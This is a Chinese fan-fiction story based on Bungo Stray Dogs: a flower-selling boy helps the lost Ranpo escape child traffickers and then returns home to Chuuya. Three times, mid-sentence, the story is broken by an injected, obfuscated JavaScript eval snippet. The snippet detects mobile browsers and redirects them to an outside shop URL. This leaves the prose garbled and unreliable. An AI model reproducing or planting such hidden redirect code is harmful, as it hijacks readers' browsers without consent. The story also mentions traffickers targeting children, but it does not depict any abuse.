《[文野]请问,我可以吃掉你吗?》 1. 雨 早春三月,雨水在高照的艳阳下淅淅沥沥的飘下来,在树梢绿叶上汇聚成一道水流,又变成更大的雨滴,滴滴答答的落了下来。 路上的行人无一不被这场忽如其来的雨浇得抱头鼠窜,四处寻找能够躲雨的地方,等目光落在一家甜品店时一怔,下意识的朝着那边迈出了脚步。 原因无他。 橱窗内站着一名身姿纤细,抱着一捧五彩斑斓鲜花的少年。 少年立在甜品店透明的玻璃后,白色长发垂在腰间,抱着鲜花的手臂露出的皮肤极白,脸半埋在花间,只露出一双仿佛浸了深林山雨的浅绿色眼睛,雾蒙蒙的,却带着清浅的笑意,令所有经过的人都下意识被他吸引住目光。 在看到少年时,这场春雨一瞬间就像是有了缘由,仿佛是上天为了洗净所有尘污,让所有人能够看清他而落,把春日的所有美丽景色尽数展现在一个人身上。 原本还抱怨天气的行人骤然收声,走进甜品店时连呼吸都放轻了几分。 从少年身边经过时,来到甜品店的顾客也止不住的偷瞄向他,无边无际的猜想,这样的雨天,少年抱着花在这里,是在等待自己的恋人吗?亦或是在想着什么开心的事,才会笑的这么开心。 但很可惜,如果知道他内心所想,这名顾客有关于少年所有的滤镜和幻想,大概会“咔嚓”一声碎的彻底。 弥生三月盯着玻璃外的雨,认认真真的算着今天的收益。 送完你家送他家,送完这家送那家,今天订了花的店都送完了,钱款也都到账了,等下把怀里剩下的花都卖了,晚上就能和中也一起加餐了。 下雨了,不过好在下雨的时候自己正在给这家长期订花的甜品店送来鲜花,没有被雨淋到。 这场春雨下的真及时啊,不知道来到这家店躲雨的人多不多…… 没错,这名长相漂亮的少年是一个十足的财迷。 因为镭钵街的一场爆炸,本就没有父母的弥生三月在爆炸后的镭钵街里,一边感叹幼驯染中原中也命大,一边把他拖回自己居住的棚屋,彼此相依为命。 和中原中也热心仗义的性格不同,弥生三月一心想把中原中也喂胖一点,为此一直在认认真真的卖花存钱,一点一点把业务开拓到了镭钵街以外的地方。 正在弥生三月感叹穷人的孩子早当家,等攒够钱自己要开横滨最大的鲜花市场时,察觉自己身边走过一个还在瞄着自己的顾客,立刻主动出击,露出招牌式的营业笑容,朝着对方抬起头,笑意盈盈,就连声音也是又轻又软。 “您好,请问要买一束花吗?” 这是他为了能尽快卖掉鲜花专门研究出来的组合小连招。 往往这一套丝滑小连招出来,没有人能拒绝自己。 面前的顾客没想到弥生三月会主动和自己说话,一时间有些受宠若惊。 少年走到他面前,身上的花香也一齐将他笼罩,那双仿佛拢了半场雾雨的眼瞳自花间抬起,柔和的落在来人身上,令人如坠幻梦,等反应过来的时候,已经从怀里掏出纸币了。 纸币被少年纤细手指抽走时,他晕晕乎乎的想。 原来不是在雨中等待恋人,而是在等待顾客上门吗? 但这种仿佛初恋的感觉…… 看着少年甜甜的笑,顾客只感觉自己现在身处恋爱番的开头,身边都冒出了各种花花和泡泡,很快就能品尝一场酸酸甜甜的恋爱了。 把鲜花递到对方手里,弥生三月把钱叠放整齐放进口袋里,没有多做停留,又转头去问另一个进入甜品店的人,依旧笑容满满,语气温柔。 “您好,请问要买一束花吗?” 还在原地的顾客抱着怀里的花还没等细细去嗅闻,就仿佛听到自己耳边“啪”的一声,那颗刚刚怦然而动的心碎了。 他一格一格的转头,等看到弥生三月如法炮制,动作不停的推销出数束鲜花时,恋爱脑也被“日”的一声打成糊糊。 居然…居然…只是推销鲜花的小手段吗? 他游魂一样买了一份甜品坐下,挖了一勺甜品放进嘴里,只感觉自己的恋情入口即化,跟着那颗碎掉的心一起嚼吧嚼吧咽了下去。 等看到在他之后的人也全都是同一个待遇,同样一副失恋模样,同样的失魂落魄的买完甜品,一副青春没有售价,初恋入口即化的悲伤表情时,那颗被伤过的心仿佛又重新恢复跳动。 因为这场忽如其来的大雨,进店的人一时间络绎不绝,而因为少年购买鲜花的人更是数不胜数。 弥生三月满意于自己这张脸带来的效果,动作接连不断的伸出纤细的手指把钱抽了过来,又递上鲜花。 弥生三月巧使连环计,顾客误入甜品店,不到几分钟,他就卖掉了自己怀里的一大捧鲜花,也给甜品店带来了相当可观的客流。 甜品店的店长和店员在柜台里忙的不可开交,担心弥生三月不知什么时候走了,店长忙里偷闲的给他装了一份甜品塞进手里。 “最近的新品,就麻烦弥生君帮忙做下产品调研啦。” 说完,又转头继续忙了。 因为知晓少年的身世,店长对弥生三月多有照顾,每天他来送鲜花的时候,就会找各种各样的理由,打包一份甜品给他带走。 更别说少年这次过来,让店里的生意就会翻好几倍了。 为了长久利益考虑,弥生三月没有推辞,眉眼弯弯的接过蛋糕道了声谢。 他看了看窗外的风景,发现刚刚藏在巷子口的人早已经不见了,取而代之的是一辆停在路边的银色面包车。 真麻烦呀。 弥生三月叹了口气,笑吟吟的想。 不过是中也的麻烦啦。 他怀里还剩下最后一束花,但路上已经空无一人,弥生三月苦恼的皱起眉。 窗外的雨顿时下的更大了。 雨点砸在窗户上砰砰作响,引起甜品店里顾客们小小的惊叹,自动感应门忽然打开,撞得门上的铃铛发出叮叮铃铃的声响。 与此同时,一阵急促的脚步声传了进来,一个穿着浅青色上衣的少年边跑还边嘟嘟囔囔的抱怨,“真是的,怎么好端端的下了这么大的雨。” 看到有人走进来,弥生三月立刻扬起脸,又露出无往而不利的笑容,“您好,请问要买一束花吗?” 这次进来的人并没有像其他人那样立刻晕晕乎乎的低头掏钱,抖着身上雨的少年抬起头,一双碧绿色的眼瞳睁开,目光像猫一样在弥生三月身上转了一圈,等看到他满满当当的钱包时,才就像看到猫薄荷一样,喜笑颜开的凑了过来。 “乱步大人可不会白帮别人的忙。”江户川乱步看都没看鲜花一眼,十分自来熟的站在甜品柜台前,一连指了好几个甜品,“我要吃这个,这个,这个。” “然后你带我找到大叔,我让大叔解决掉外面的小麻烦,怎么样?” 弥生三月歪了歪头,花了两秒才反应过来他是在和自己说话。 他唇角的笑容微妙的顿了一下,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440218|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一反应是思考他是不是有猫饼。 让路边一个卖花的孩子买甜品,怎么想也不是正常人会做的事。 而且外面的小麻烦,对他而言也算不上什么麻烦。 短暂的沉默后,弥生三月果断的忽略这个话题,再次露出笑容,“你是和家里人走散了吗?需要我帮你找家长吗?” 现在时间还早,自己就算晚一点回去,中也他不会介意的。 就当是做好人好事,帮迷路的小朋友找家长…… 说起来,这个人的年纪比自己大多了吧? 弥生三月看着他比自己还高一头的个子,又听着对方幼稚的言论,把他和擂钵街外娇生惯养的五六岁小孩划上了等号。 可谁知对方他压根没顺着自己的台阶下来,反而贴了上来,视线由上到下,“你在心里想什么不尊重乱步大人的事!” 面前的少年丹凤眼微微眯起,漫不经心的扫过来,弥生三月心里顿时涌上一种被人看穿了的错觉。 但他的视线并没有停留太久,转而又像个孩子一样撒娇,“好饿,好累——” 弥生三月犹豫了一下,一副不舍的模样把手放进钱包里,对上江户川乱步骤然亮起来的眼睛,委屈道,“这是我今晚吃晚饭的钱……” 此话一出,一直关注他的人全都对江户川乱步怒目而视,仿佛他做了什么十恶不赦的大事一样。 江户川乱步被他熟练使用的一记道德绑架架了起来,那双眼睛也睁开了,“可是,你口袋里不是还有很多钱吗?” “那些是明天购置鲜花的货款。”弥生三月笑容依旧,只是落在别人眼里却是笑的很命苦,他婉言拒绝道,“乱步大人想吃甜品的话,可以自己买哦。” 自己的钱还要留着养胖中也,所以更要精打细算,随随便便拿出来投喂路边的小流浪猫,实在不是他能做出来的事。 江户川乱步:? 顿时落在江户川乱步身上的目光更多了。 还有人在窃窃私语,仿佛在看一个不懂事的,欺压弱小孩子的恶霸一样。 他显然还没体会过什么叫做人心险恶,但过去的经历告诉他,这里的人显然不会相信自己说的真话。 江户川乱步气的哼哼,果然是虚伪的大人。 他又看了眼弥生三月,孩子气的在心里下了定论。 你也虚伪。 虚伪的弥生三月没再理会对方,转头看了眼时间,觉得最后这束花卖不完了。 他想了想,决定先回家。 窗外的雨骤停,弥生三月拎着蛋糕盒和最后一束花往外走,见江户川乱步还在原地,有些放心不下的停住脚步。 毕竟对方像极了自己曾经投喂过的,拥有一双碧绿色眼睛的小黑猫。 江户川乱步和福泽谕吉走散,他又不认识回侦探社的路,就准备在这里等着对方找过来。 窗外的雨停了,还有事的人就先离开,他找了个桌子坐下,因为刚刚的事情还在生气,他再次气哼哼的倒在桌子上。 在他倒下的后一秒,湿软如雾的香气熏了过来,江户川乱步把脸扭过来,就看到那个虚伪的弥生三月站在桌边。 他怀里的花有些蔫了,弥生三月顺手把花放在了桌上,“你是不是饿了?” 江户川乱步微微瞪大了眼睛。 弥生三月在他谴责的目光中把店长塞到他手里甜品放下,依旧笑意盈盈的垂下眼,“这是店长刚刚给我的,距离晚饭还有一段时间,你先吃掉吧。” 2. 三月 江户川乱步的脸依旧贴在桌上,看了看放在面前的甜品,又看了看虚伪的弥生三月,疑惑的“唔”了一声,紧接着喜笑颜开的坐直身体,一下子恢复了刚刚的活力。 他拆开盒子,拿出勺子,挖了一大勺甜品塞进嘴里,吃得嘴巴鼓鼓的,嘴里含混不清道,“别以为你现在向乱步大人示好,乱步大人就会原谅你在心里不尊重乱步大人的事情。” 这样一个孩子在擂钵街附近乱逛实在危险,弥生三月索性坐在他身边,“你是和家长走散了吗?” “是啊。”乱步嚼嚼嚼,“我和大叔走散了嘛,不然也不会被大雨浇到这里。” 他咬着勺子思索,“说起来真奇怪啊,明明几十米外的另一条街一点雨都没有,偏偏来到这边,雨大的一下子就能把人淋透,三月的天气真是变幻无常。” 弥生三月扬起的唇角顿了顿,有点意外。 名为乱步的少年似乎有着出人意料的观察力和直觉。 他没有接话,而是柔和的问,“那你还记得你家的地址吗?我经常在附近卖花,可以把你先送回家。” “比起送我回家,你更要担心自己吧。”江户川乱步抬头,示意他看向窗外,“你被人贩子盯上了……不对,你好像已经知道了?” 他看着被点破后丝毫不慌,反而含笑注视着自己的弥生三月有些气馁,转而兴致勃勃的分析起来。 “你和大叔不像是同一种人,你不害怕是因为有人会帮你处理掉?” 江户川乱步吃着吃着蛋糕,忽然伸出手扯住他手腕上束起宽大袖口的深绿色缎带,抬起头看他,“这个布料,你是擂钵街的人?” 他坐直了身体,忽然没头没尾的问,“你和擂钵街的重力使是什么关系?” 弥生三月微微瞪大了眼睛,惊讶的问,“你是怎么知道的?” “这不是很简单吗?”乱步唇角沾着奶油,理所当然道,“前段时间远洋过来的一批货物被GSS抢走,至今都没有在世面流通,所有货物就像人间蒸发了一样。” “而那批货物里面有一批布匹想要在立本境内打开市场,并且只有那艘轮船上有,唔……” 他举起缎带,“就是你身上系的这种。” 弥生三月牵起自己脖颈上为了束起领口才佩戴的绿色丝质缎带,仔细地摸了摸上面的材质,露出恍然大悟的表情。 他身上穿着的是一件白色带着花边的衬衫,因为是为了省钱自己做的,裁剪时不太熟练,领口袖口都稍微有一点大,所以才会选择用缎带系上。 如果没有记错,这些布料是那群小羊为了感谢中也的帮忙,特意送来的。 “至于你和重力使的关系,那就更简单了。”江户川乱步神色活泼,窥探某种秘密一样,“GSS不收未成年人,你身上又没有【羊】的手环,凭你的模样,如果加入其他组织,恐怕就不可能还出来卖花了。” 在擂钵街长相漂亮的人不在少数,未成年的孩子则更为危险,即使没在擂钵街生活过,那里的情况江户川乱步也早有耳闻。 雇佣兵,人贩子,还有Mafia的天堂。 “所以,你就只可能是擂钵街里重力使的人了,我说的对不对?” 还真是,完全正确。 居然光是看就能分析出这么多东西。 弥生三月非常配合的鼓起掌来,一时间对他产生好奇,“你是侦探吗?” “当然……还不是!”江户川乱步一听这话,尾巴简直都要翘到天上了,但又很快的冷静下来,“不过大叔说只要我乖乖听话,就会给我买侦探服,到时候,我就是真正的侦探了!” 他举着勺子的模样实在可爱,弥生三月没忍住,“噗嗤”一声,真心实意的笑了,“那未来的大侦探住在哪里呢?” 这句话一瞬间戳中了江户川乱步的心窝子,刚刚还侃侃而谈的少年一下子卡壳了,又气哼哼的去吃蛋糕。 弥生三月也分析出来了,笑的眉眼弯弯,“我懂我懂,未来的大侦探当然是要破解案件了,这些小事,当然不在乱步大人的思考范畴内了。” 江户川乱步被顺毛捋的很满意,语气也再次活泼起来,“没错,你叫什么名字?等乱步大人当上大侦探了,一定让你来当我的助手!” “弥生三月。”弥生三月笑容温婉,语气轻轻慢慢的,“乱步大人可以直接叫我三月。” “三月三月……”江户川乱步喃喃,“真是个奇怪的名字。” 弥生作为姓氏,就代表了春日的三月份,后面再缀一个三月做名,他抬起头,看到弥生三月正托着下巴,用那双浸了春水的眼瞳含笑看着自己。 不知道为什么,江户川乱步在这一瞬间有些愣神,他慢慢睁开眼睛,连嘴里的蛋糕都忘记嚼了。 两个代表三月的词放在一起似乎太过繁缀,但放在弥生三月身上,仿佛上天把春日的所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440219|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有美丽景色都尽数展现,落在他一人身上。 这个奇怪的名字在这时也变得不奇怪了。 太阳西斜,照进甜品店的阳光也染上几分金红色,弥生三月看了眼时间,发现已经很晚了。 他想到还在家里等着自己吃晚饭的中也,立刻站起身,又看向江户川乱步,下定决心道,“要不我帮你报警吧?” 这里距离擂钵街很近,入夜后十分不安全,所以开在这条街的店铺都会早早的关门。 对方和家人走散,如果光在这等着,还不知道要等到什么时候,他的家人才会找过来。 “报警?完全没有这个必要。”江户川乱步吃着蛋糕的手一停,立刻道,“你要回擂钵街对吧?” 弥生三月点点头,“对,但……” 他和自己不同,报警才是最稳妥的做法。 “那我就和你一起走就好啦!”江户川乱步加快吃东西的速度,“说起来,你还不知道我和大叔来这里的目的吧。” 他吃吃吃,“我和大叔是一家侦探社的成员,来到这里就是受人之托,调查擂钵街附近孩子失踪的案件的咳咳咳咳……” 弥生三月急忙接了杯水递到他手里,被呛住的江户川乱步急忙喝了口水,但还在咳,弥生三月不得不拍了拍他的后背,给猫顺气。 江户川乱步刚刚的气势全无,弥生三月抽了张纸给他擦脸,他大喘了几口气,咳嗽声才渐渐平息了下来。 他擦干净脸,凑到弥生三月眼前,语气活泼的继续说道,“大叔现在估计就在擂钵街那边,我们现在过去找他,你对那边的路肯定很熟,对不对?” 但这未免有点太碰运气了。 弥生三月想要拒绝,再尝试说服他遇到事情找警察,但乱步已经站起来了,把空的蛋糕盒往垃圾桶里一扔。 “走吧三月三月!” 所以是要往哪走啊…… 弥生三月茫然的看着他的背影,忽然想到他不同常人的推理能力和直觉,犹豫再三,还是决定先同行一段路再说。 大不了到了擂钵街再报警。 他这么想着,跟着江户川乱步刚走了两步,前面的人就停下了脚步。 这个绿眼睛的小黑猫推开甜品店的大门,站在金红色的夕阳下,双手叉腰,一副站在命运的十字路口上的凝重表情。 弥生三月听到他喃喃自语。 “擂钵街,往哪边走来着?” 3. 启蛰 经过短短的,不到半小时的相处,弥生三月终于确定了。 这个拥有着超绝推理能力的乱步是个十足的路痴。 落日的余辉照在路口,也一同落在乱步身上,弥生三月看着全身上下写满了“路在哪,怎么走,往左吗,那边是左”的仿佛充满弹幕的乱步,轻轻叹了口气。 他拿着被乱步搁在桌上的花,走上前去,轻轻抓住了乱步垂下的手,温声道,“我来带路吧。” 因为年龄差身高差在这里摆着,弥生三月只虚虚的抓住了对方的两根手指,乱步像是被套上什么东西的猫一样,想去抓弥生三月的衣摆,结果发现对方不够高。 如果真要抓的话,就只能抓那头雪银色的长发了。 那头长发极长两手交叠的时候,发尾就在乱步手腕上扫来扫去,但也没挣脱,只晃了晃手。 就像两个关系好的孩子在一起手拉手互相晃着一样。 乱步依旧兴致勃勃,“好,那就由你带领乱步大人前往擂钵街了!” 话音落下,弥生三月牵着他往前走,身后一阵汽车拧动钥匙后,发动机启动的轰鸣声传来,丝毫没有引起他们的惊慌。 在此蹲守弥生三月的人贩子十分谨慎,在看到他们两个从甜品店走出时没有动作,直到确定走出来的只有两个年纪不大的孩子,甜品店内再也没有顾客后,终于启动了面包车。 看来是准备把他们两个一齐掳走了。 乱步紧跟着弥生三月,显然也察觉到了人贩子的意图,一双眼睛不知是因为兴奋还是担忧的眯起,“你不害怕吗?” 他反手拉住弥生三月的手,“这里距离擂钵街还有一段距离吧?” 根据他的推理,除非三月三月是什么速度类型的异能者,不然跑过汽车的可能性几乎为零。 弥生三月的步伐轻盈,看起来没有半点紧张,闻言笑意盈盈的偏过头,“谁说想要跑过他们了。” 他说着,浅绿色的眼瞳轻轻眨了一下,带着乱步如一只蝴蝶一样,飞进一条布满藤蔓野花的小巷里,只留下一截白色的发尾在空中拂过,昭示着这里刚刚还有人。 这条小巷甚至不能容纳他们两个通过,弥生三月换手拉着他,确保他们在这里一前一后不会走丢。 “既然是生活在擂钵街里,当然也知道其他人不知道的小路了。” 弥生三月眉眼弯弯,因为甩掉了人贩子而愉悦的勾起了唇角。 但很快,杂乱的脚步声传进来,车上的人贩子显然不甘心放弃这样的大鱼,朝着巷子里闯了进来。 毕竟在他们把照片传给上面的人后,线人立刻就激动不已的打来电话,言明老大指名道姓就要这个孩子,并且许诺了无比丰厚的报酬。 在照片传回时,人贩子就已经知道会是这个情况了。 毕竟现在谁不知道老大现在正在寻找长相漂亮的,年纪没有超过十二岁的幼女,想要去向港口Mafia的新任老大投诚。 就算是被他们追赶的是男孩子又怎么样? 如此美丽的容貌,换上裙子送过去,想必港口Mafia的首领也不会介意的。 一想到老大投诚后受到重用,连带着他们也跟着一起吃香喝辣,率领着一群黑西装,只要一声令下就有人清扫掉一切自己看不顺眼的人和事的场景,他们的情绪都跟着高涨起来。 进入小巷后,潮湿的霉气和苔藓味道瞬间钻入了鼻腔,下过雨的地面更加让人站不住脚,还没等走两步,就有人因为打喷嚏摔了个四仰八叉。 领头的人顿时对他怒目而视,生怕他惊跑这两只误入小巷中的猎物。 小巷很窄,深处黑洞洞的,一眼望去也没有岔路,看来那两个孩子是发现了他们,所以慌不择路误入这里了。 领头人露出闪灵同款笑容,迈开腿往前走,张嘴正准备说点什么,“噗通”一声顿时也摔了个四脚朝天。 跟在他身后的人急忙去扶他,却全部脚下打滑,和下饺子一样接连不断的一屁股坐在地上。 更有甚者没把领头人扶起来,反而一脚把他踹的更远。 领头人:…… 他刚想发火,想站又站不起来,接连摔了几个屁股墩后,就像是发现了什么新大陆一样,大声招呼着身后的人,“你们就像刚刚那样把我踹到前面去!” 虽然不知道那两个小鬼是怎么跑进去的,但是等自己追过去后,他们两个绝对死定了。 他身边垂落的藤蔓仿佛被他带起的风触动,轻轻摇了摇枝叶,令撩起另一边藤蔓,防止弄脏衣服的弥生三月为他们的鬼才逻辑感到叹服。 居然能想到这种办法,绝了。 “从这里出去就是擂钵街了。”弥生三月晃了晃交叠的手,示意乱步他们很快就要到目的地了。 乱步半眯着一双碧绿色的丹凤眼,幽幽的瞳色在黑夜里散发着微弱的光,仿佛真是一只黑猫一样,无声的注视着一切。 他转过头,看到出口处有光从藤蔓的缝隙里漏出来,落在弥生三月身上,给发丝镀上了一层银光。 “那个,是不是你的异能力。”乱步忽然开口,一副看透了一切的模样,兴高采烈的问,“你和大叔是同一种人,对不对!” 弥生三月蜷了蜷握着藤蔓的手指,依旧笑意盈盈,脚步却没有停下,“什么?” 乱步看他一副不被戳破就不肯承认的样子,开口正要继续,就被弥生三月不轻不重的捏了下手指。 “我们现在还在逃命哦。”弥生三月微微侧过头,光把他的侧脸清晰的印在乱步眼瞳里。 他不动声色的转移乱步的注意力,语气轻柔的像在学在甜品店里乱步对着所有人无差别撒娇一样,“现在讨论这个真的好吗?” 唉? 他是不是在学乱步大人? 乱步诧异的瞪大眼睛,胡思乱想。 乱步大人那时候也这么可爱吗? 那为什么大叔总是拒绝自己的?! 他真是太过分了! 乱步一下子就气鼓鼓起来。 眼前的光芒渐渐扩大,等从小巷里走出来时,银色的月光落下,显然天色已晚。 弥生三月怀抱着依旧娇艳滴翠的鲜花,依旧拉着乱步的手,准备带着他到擂钵街后再联系他的家里人。 身后窸窸窣窣的传来人贩子出溜滑过来的声音,弥生三月一直弯着的眼睛微微垂下,露出几份冷漠的锐利。 如果没有身边的乱步,这些人…… 但还不等他仔细思索,一道人影已经遮挡住面前的月光。 什么时候…… 弥生三月怔了下,拉着乱步下意识往后靠去,不知道什么时候站在这里,身材高大的人却已经伸出手,一把按住了乱步的肩膀。 “不是说了不要乱跑!”严肃的声线从头顶传来,带着显而易见的焦急和怒意。 弥生三月被夹在两个中间,不得不往旁边退了几步,随后抬起头,对上中年人银色的眼睛。 他应该是学过什么剑术之类的格斗技巧,站在这的身姿挺拔,让人想到山林里高大的青松,挺且直。 过于高的身高和严肃的表情让他整个人都散发着一股压迫感,带着能吓哭一打小孩的目光落下来,看向弥生三月。 “大叔,你这样会把人吓哭的。”乱步看到他,立刻露出笑容,却挡在弥生三月面前,“而且不是要找人贩子吗?你看……” 他扬起头,就像正在等待夸奖的小猫,一指刚刚钻出来的小巷,“这不就是嘛!” 话音落下,小巷里“呲溜”一声飞出来一个男人,不偏不倚,正好一屁股坐在距离他们几米的位置,随后在砖石路面上不住的滑行,直直的撞进他们三个的包围圈里。 “哈哈哈,抓到你了……呃……”滑出来的领头人猖狂大笑,一把抓住弥生三月的脚踝,还没来得及表达完喜悦之情,一抬头就对上福泽谕吉的目光。 还未说完的话一下子卡壳了,身后跟着他的小弟只听到了前半句,也是满怀喜悦之情的从小巷里飞了出来,同样的滑行,一脚踹在了前面领头人的背上。 领头人却没再往前滑,因为他被福泽谕吉踩在了地上固定住,没让他再滑铲站在正前方的乱步。 发现乱步走丢时的焦急,再到找回乱步的喜悦一下子喷涌出来,福泽谕吉低头,发现这些人果然是他们一直在追踪的人贩子团伙。 有了第二个,就有第三个。 眼看着一连串人贩子像糖葫芦一样串了下来,福泽谕吉手起手落,一个接一个的全部打晕,报警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440220|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,准备带走。 等到最后一个人哼哧哼哧的从里面走出来,确定小巷里再也没有声音后,福泽谕吉抬手,干脆利落的处理完最后一个,才终于有时间低头,看向弥生三月。 他刚刚就是看到墙壁上的藤蔓微动,随后这个少年从小巷中走出来,还拉出了乱步。 再根据人贩子的反应来看,被盯上的就是这个少年。 耳边传来了乱步的喋喋不休,“多亏了三月三月,我们才跑到你的面前,不然那群人早就追上来了!” “啊,对了,我还吃了三月三月的蛋糕,大叔你一定要记得还给三月三月,对了对了,还有花,我记得还有最后一束,大叔你记得付钱!” 三月……三月? 福泽谕吉低下头和他对视,借着月光,看到站在他面前少年肤色带着一种非人般的冷白,衬的那双本来浅色的眼瞳反而成了他脸上浓墨重彩的一笔,冲淡了那种非人之感,令他整个人瞬间生气勃□□来。 莫名的,他脑海中忽然想到一件事。 今日似乎是三月五日? 三月五日,启蛰日。 四周隐隐有春虫鸣叫的声音。 怪不得今天会忽然下起太阳雨。 少年便如冬日皑皑白雪中一株翠色的新苗,一瞬间就能吸引所有人人的注意。 这样漂亮又气质独特的孩子,怪不得会成为那群人贩子的目标。 福泽谕吉有些失神,待回过神来,朝他微微颔首。 看到少年怀里鲜花还带着新鲜的露珠,湿软如雾的香气熏上来,便从怀里拿出纸币递过去,“这么晚了还在外面很容易遇到危险。” 他道,“以后卖完就早点回去吧,你家在哪里?我送你回去。” 福泽谕吉已经打电话联系过警局,警局的人稍后就来,也不差这一会的时间送弥生三月回去了。 “要不干脆来异能侦探社怎么样?”乱步忽然插嘴,兴致勃勃道,“三月在擂钵街生活也很危险吧。” 他的话让福泽谕吉也点了点头,“说的没错,我们也同意过政府开展的未成年就业支援,也可以为你提供工作和住宿环境。” 放任这样一个孩子在擂钵街,实在是太欠考虑了。 三月:? 他歪了歪头,心说我好心带你来擂钵街,你这家伙居然想把我从中也身边拐走? “不了吧。”弥生三月郑重道,“我和中也从小就相依为命,贸然离开,中也会着急的。” 乱步还想说话,却被福泽谕吉制止,只气鼓鼓的站在他身后。 福泽谕吉并没有再勉强,正准备继续询问弥生三月居住的具体地址送他回家时,身后传来一道相当不善的声音传来,“喂,你们两个是怎么回事?” 福泽谕吉回头,看到一个穿着深绿色机车服,一头橘色头发的少年,正上下打量着他们两个。 橘发少年双手抄兜,冷冷的质问,“你们两个,不知道三月是我的人吗?” 本来这附近就不太平,再加上【羊】组织里面的孩子每天一惊一乍,说附近有人贩子,让中也务必一定要处理掉他们,惹得在家里等了好一会都没有等到弥生三月回来的中也越发提心吊胆起来。 结果刚走出擂钵街,他就看到弥生三月被两个人围在中间,四周还七零八落的倒着一堆人。 这……看起来也不像是人贩子的样子。 人贩子会这么拖家带口还带着残疾人过来绑架小孩吗? 听到他的声音,弥生三月立刻从福泽谕吉身侧探出头来。 白发从肩膀滑落,少年的声音雀跃,“中也,你来接我啦?” 中也扫了福泽谕吉和乱步一眼,皱起眉,冷声道,“三月,过来。” 弥生三月却道,“没关系的,他们不是坏人,倒在地上的才是人贩子。” 他转过头,面向两个人,笑意随着中也的出现,瞬间都真切不少,“说好了要把花送给你的,钱就当是你买我的蛋糕啦。” 手中的花被他放进乱步怀里,他对乱步挥挥手,转身朝着中也走去,只留下一阵清浅的花香。 待在中也身边站定,弥生三月笑意盈盈的同他们告别,“我就先和中也回家了,你们也要早点回去休息,那么——晚安。” 4. 家 和乱步分开后,双方各回各家。 黑夜的擂钵街早已陷入一片安静,但在他们踏足的瞬间,黑暗处有无数眼睛幽幽的看过来,等看清来人后,又悄无声息的退下。 毕竟在擂钵街里,曾经那些不老实的,敢舞到弥生三月或者中也面前的有哪个没被重力使暴揍过呢。 惹到中也可能还稍微好点,但如果惹到弥生三月,那简直是惹到史前暴龙了! 当然,这个史前暴龙指的是中原中也。 而此时这只史前暴龙斜睨了一眼距离他们越来越远的乱步和福泽谕吉,皱着眉问,“你遇到那群人贩子了?” “对,不过幸好遇到好心人帮助。”弥生三月双手合十,做了一个祈祷的手势,眉眼弯弯,“不然就要辛苦中也出手——” 他话没说完,中也转头,抬起手,然后一个脑瓜崩—— 正在笑意盈盈:D的弥生三月一下子变成了QAQ。 他一下子停下脚步,捂着头蹲下来,抬起头满脸控诉,眼泪都要被疼的掉下来了,“你干嘛呀中也,好痛的。” “我还以为你这家伙不知道呢。”中也沉着脸,分明年纪不大,却一副小大人模样教训道,“一旦被那些人贩子抓到,可就不只是被我弹一下脑瓜崩这么简单的事情了!” “而且我说过了吧,一旦遇到意外就立刻给我打电话,你的电话被你扔到哪里去了?” 中也说的手机是为了方便他们联系,从别人手里买的二手老年机。 弥生三月蹲在地上,指着裤子口袋,“在这里QAQ。” 为了证明自己没撒谎,他立刻从口袋里掏出了一个团成一团的白色塑料袋。 塑料袋上还套了个皮筋。 拆下来皮筋,打开塑料袋,是一层浅绿色,做衣服时剩下的缎带。 拆开缎带,又是一层红色的塑料袋。 中也:…… 他低头看着弥生三月和里三层外三层的塑料袋较劲,为了验证他不是在诓自己,拿出手机一个电话打了过去。 层层叠叠的塑料袋里传出了自己曾经哼过的一首不成歌的小调。 中也感觉自己头上的井字被气的冒起来了。 “等你拆完,早就在人贩子大本营了!”中也抬起手,弥生三月正拆着的塑料袋瞬间被红光覆盖,被他夺了过来。 弥生三月没预料到这个情况,下意识的去抢,“唉?!” 塑料袋被他三两下扯开,中也从里面掏出来一个只有半个巴掌大的翻盖手机,又丢回弥生三月手里。 “明天!”他怒气满满的沉声道,“明天你去商场里买一个绳子把手机挂在脖子上,如果明天我给你打电话,十个数内你没接,你就死定了。” 弥生三月手忙脚乱的接过手机,闻言有点迟疑。 买东西就意味着要花钱…… 他下意识的想反驳,问中也不买行不行。 不等他多想,耳边又是中也含着怒意的声音,“听到了没?弥生三月?!” 当小伙伴叫自己全名时,那就证明他是真的生气了。 弥生三月一个激灵,几乎不加任何思考,“听到了听到了。” 他两个耳朵都听到了,路边的花花草草也听到了! 中也这才满意,上上下下的扫了一遍他,确保他真的没有出任何事。 最近擂钵街又是荒霸吐的传言,又是专抓漂亮孩子卖去暗街人贩子,又有格外喜欢年幼孩子的港口Mafia首领,件件都不太平。 偏偏自家小伙伴又格外引人注意,不管被哪一个盯上都不是好事。 